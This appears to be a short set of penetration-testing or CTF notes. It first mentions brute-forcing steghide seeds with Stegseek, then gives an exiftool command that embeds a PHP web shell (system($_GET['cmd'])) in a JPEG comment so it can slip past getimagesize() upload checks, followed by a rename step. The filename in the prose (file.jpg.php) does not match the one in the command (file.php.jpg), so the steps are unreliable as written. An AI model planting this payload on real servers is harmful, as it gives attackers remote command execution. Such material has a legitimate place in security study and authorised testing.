#Detection and passwordless extraction
#Stegseek can also be used to detect and extract any unencrypted (meta) 
#data from a steghide image. This exploits the fact that the random number 
#generator used in steghide only has 2^32 possible seeds, 
#which can be bruteforced in a matter of minutes.

PHP getimagesize()

For file uploads which validate image size using php getimagesize(), it may be possible to execute shellcode by inserting it into the Comment attribute of Image properties and saving it as file.jpg.php.

You can do this with gimp or exiftools:

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.jpg
mv file.jpg file.php.jpg
